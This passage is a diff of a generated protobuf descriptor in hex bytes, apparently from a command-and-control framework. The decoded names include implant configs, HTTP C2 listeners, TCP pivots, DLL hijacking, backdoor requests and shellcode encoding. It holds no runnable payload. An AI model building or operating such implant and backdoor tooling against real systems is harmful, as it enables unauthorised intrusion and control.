0x08, 0x52, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, + 0x22, 0xd5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, 0x04, + 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, + 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, + 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, + 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, + 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, + 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, + 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, + 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, + 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, + 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, + 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, 0x65, + 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, 0x70, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, 0x70, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, + 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, 0x0b, + 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x41, + 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, - 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x8c, 0x01, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, - 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, - 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, - 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, - 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, - 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, - 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, - 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, - 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, - 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, - 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, - 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x7c, 0x0a, 0x13, 0x45, 0x78, 0x74, - 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, - 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, - 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, - 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, - 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, - 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, - 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x41, 0x0a, 0x0d, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, - 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x43, 0x32, 0x50, 0x72, - 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x63, 0x0a, 0x0f, - 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x12, - 0x1c, 0x0a, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x12, 0x32, 0x0a, - 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, - 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x22, 0xd3, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, + 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, + 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, + 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x12, 0x43, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xbc, 0x01, 0x0a, 0x12, 0x48, 0x54, 0x54, 0x50, - 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x32, - 0x0a, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x14, 0x52, 0x61, - 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, - 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, - 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x18, - 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x52, 0x07, 0x43, - 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x22, 0xf8, 0x05, 0x0a, 0x13, 0x48, 0x54, 0x54, 0x50, 0x43, - 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, - 0x0a, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x12, 0x2c, 0x0a, 0x11, + 0x22, 0x52, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 